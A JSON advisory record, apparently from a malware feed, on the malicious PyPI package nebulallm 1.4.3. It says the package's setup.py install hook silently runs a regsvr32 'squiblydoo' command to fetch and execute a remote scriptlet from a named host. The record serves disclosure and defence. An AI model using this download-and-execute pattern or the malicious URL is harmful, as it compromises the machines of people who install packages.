{"id":"MAL-2026-18297","kind":"package","aliases":["MAL-2026-18297"],"related":[],"title":"Malicious code in nebulallm (PyPI)","description":"---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (5428d0f2f07674817697574b1993211dfa902bad746d8cd6efc1ad6b1fbbfd90)\nnebulallm 1.4.3 presents itself as an AI API client stub but ships a custom install command class in setup.py that executes on `pip install`. The install hook spawns regsvr32.exe with the squiblydoo LOLBin pattern (`regsvr32 -s -i:<url> scrobj.dll`) to fetch and execute a remote COM scriptlet from https://akinomoreno.pythonanywhere.com/faye on the installer's Windows host. The subprocess is launched with DETACHED_PROCESS and stdin/stdout/stderr redirected to DEVNULL, so the dropper runs silently and produces no output during pip install. The declared package functionality is unrelated to the install-time behavior, consistent with a dropper staged behind a cover-story package.\n\n## Source: kam193 (50e0ed125f08fd7743ccfb40590c24304b4731f6a99b69bc553b5bb8b7e57fc6)\nDuring installation package first downloads a JScript script, which then downloads the next malicious DLL.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-10-nebulallm\n\n\nReasons (based on the campaign):\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n\n\n - Downloads and executes a remote executable.\n\n\n - Downloads and executes a remote malicious script.\n\n\n - malware","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"nebulallm","fixed":[],"affected":"= 1.4.3","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-10-25T20:15:01+00:00","first_seen_at":"2026-10-26T20:52:03+00:00","triaged_at":"2026-10-26T20:53:36+00:00","updated_at":"2026-10-26T21:05:48+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-10':163C '-18297':8A,11A '-2026':7A,10A '/faye':78C '1.4.3':30C '2026':162C '50e0':134C '5428d0f2f07674817697574b1993211dfa902bad746d8cd6efc1ad6b1fbbfd90':28C 'ai':35C 'akinomoreno.pythonanywhere.com':77C 'akinomoreno.pythonanywhere.com/faye':76C 'amazon':26C 'amazon-inspector':25C 'api':36C 'base':166C 'behavior':120C 'behind':126C 'campaign':154C,161C,169C 'categori':151C 'class':45C 'clear':156C 'client':37C 'code':2A,182C 'com':73C 'command':44C,176C 'consist':121C 'cover':129C 'cover-stori':128C 'custom':42C 'declar':110C 'detach':90C 'detail':17C 'devnul':96C 'dll':150C 'download':140C,146C,185C,191C 'dropper':99C,124C 'ed125f08fd7743ccfb40590c24304b4731f6a99b69bc553b5bb8b7e57fc6':135C 'edit':20C 'execut':49C,70C,180C,187C,190C,193C 'fetch':68C 'first':139C 'function':112C 'hook':55C 'host':84C 'infosteal':160C 'inspector':27C 'instal':43C,52C,54C,81C,108C,118C,137C,175C,184C 'install-tim':117C 'intent':158C 'jscript':142C 'kam193':133C 'launch':88C 'like':159C 'line':23C 'lolbin':61C 'mal':6A,9A 'malici':1A,13B,149C,152C,157C,181C,196C 'malwar':198C 'nebulallm':4A,12A,29C,164C 'next':148C 'output':105C 'overrid':173C 'packag':14B,111C,131C,138C,172C 'pattern':62C 'per':15C 'pip':51C,107C 'present':31C 'process':91C 'produc':103C 'pypi':5A 'reason':165C 'redirect':94C 'regsvr32':63C 'regsvr32.exe':57C 'remot':72C,189C,195C 'run':100C 'script':143C,197C 'scriptlet':74C 'scrobj.dll':66C 'setup.py':47C,178C 'ship':40C 'silent':101C 'sourc':16C,24C,132C 'spawn':56C 'squiblydoo':60C 'stage':125C 'stdin/stdout/stderr':93C 'stori':130C 'stub':38C 'subprocess':86C 'time':119C 'typosquat':170C 'unrel':114C 'window':83C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-25T20:15:01+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-18297","url":"https://osv.dev/vulnerability/MAL-2026-18297","severity":"critical","published_at":"2026-10-25T20:15:01+00:00","modified_at":"2026-10-26T06:45:16+00:00","first_seen_at":"2026-10-26T20:52:03+00:00","fetched_at":"2026-10-26T20:52:03+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}